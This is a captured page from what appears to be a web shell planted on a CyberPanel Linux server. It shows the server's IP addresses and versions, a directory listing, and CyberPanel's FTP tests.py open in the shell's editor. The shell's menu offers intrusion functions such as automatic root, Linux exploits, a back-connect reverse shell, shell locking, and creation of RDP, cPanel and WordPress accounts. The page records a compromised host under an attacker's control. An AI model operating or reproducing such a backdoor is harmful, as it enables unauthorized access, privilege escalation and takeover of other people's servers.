Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
ftp /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
migrations
[ DIR ]
drwxr-xr-x
static
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.DS_Store
6
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
admin.py
144
B
-rw-r--r--
apps.py
107
B
-rw-r--r--
ftpManager.py
27.26
KB
-rw-r--r--
models.py
1.27
KB
-rw-r--r--
pluginManager.py
1.22
KB
-rw-r--r--
signals.py
1.1
KB
-rw-r--r--
tests.py
2.01
KB
-rw-r--r--
urls.py
972
B
-rw-r--r--
views.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tests.py
# -*- coding: utf-8 -*- from django.test import TestCase import json from plogical.CyberCPLogFileWriter import CyberCPLogFileWriter as logging import requests import time from plogical.processUtilities import ProcessUtilities import urllib3 urllib3.disable_warnings() # Create your tests here. class TestFTP(TestCase): httpClient = requests.Session() def MakeRequest(self, endPoint, data): json_data = json.dumps(data) path = 'https://cyberpanel.xyz:8090/%s' % (endPoint) result = TestFTP.httpClient.post(path, data=json_data, verify=False) return json.loads(result.text) def MakeRequestRaw(self, path): result = requests.get(path) return str(result.text) def setUp(self): ## Verify login data_ret = {'username': 'admin', 'password': '1234567'} response = self.MakeRequest('verifyLogin', data_ret) self.assertEqual(response['loginStatus'], 1) def test_submitFTPCreation(self): ## Create FTP data_ret = {'ftpDomain': 'cyberpanel.xyz', 'ftpUserName':'hello', 'passwordByPass':'helloworld'} response = self.MakeRequest('ftp/submitFTPCreation', data_ret) self.assertEqual(response['status'], 1) ## Test ftp import ftplib try: ok = 1 ftp = ftplib.FTP('cyberpanel.xyz') ftp.login(user='admin_hello', passwd='helloworld') ftp.mkd('unittest') except: ok = 0 import os self.assertEqual(ok,1) self.assertEqual(os.path.exists('/home/cyberpanel.xyz/unittest'), True) # Delete FTP data_ret = {'ftpUsername': 'admin_hello'} response = self.MakeRequest('ftp/submitFTPDelete', data_ret) self.assertEqual(response['status'], 1) try: ok = 1 ftp = ftplib.FTP('cyberpanel.xyz') ftp.login(user='admin_hello', passwd='helloworld') ftp.mkd('unittest') except: ok = 0 self.assertEqual(ok, 0)
Close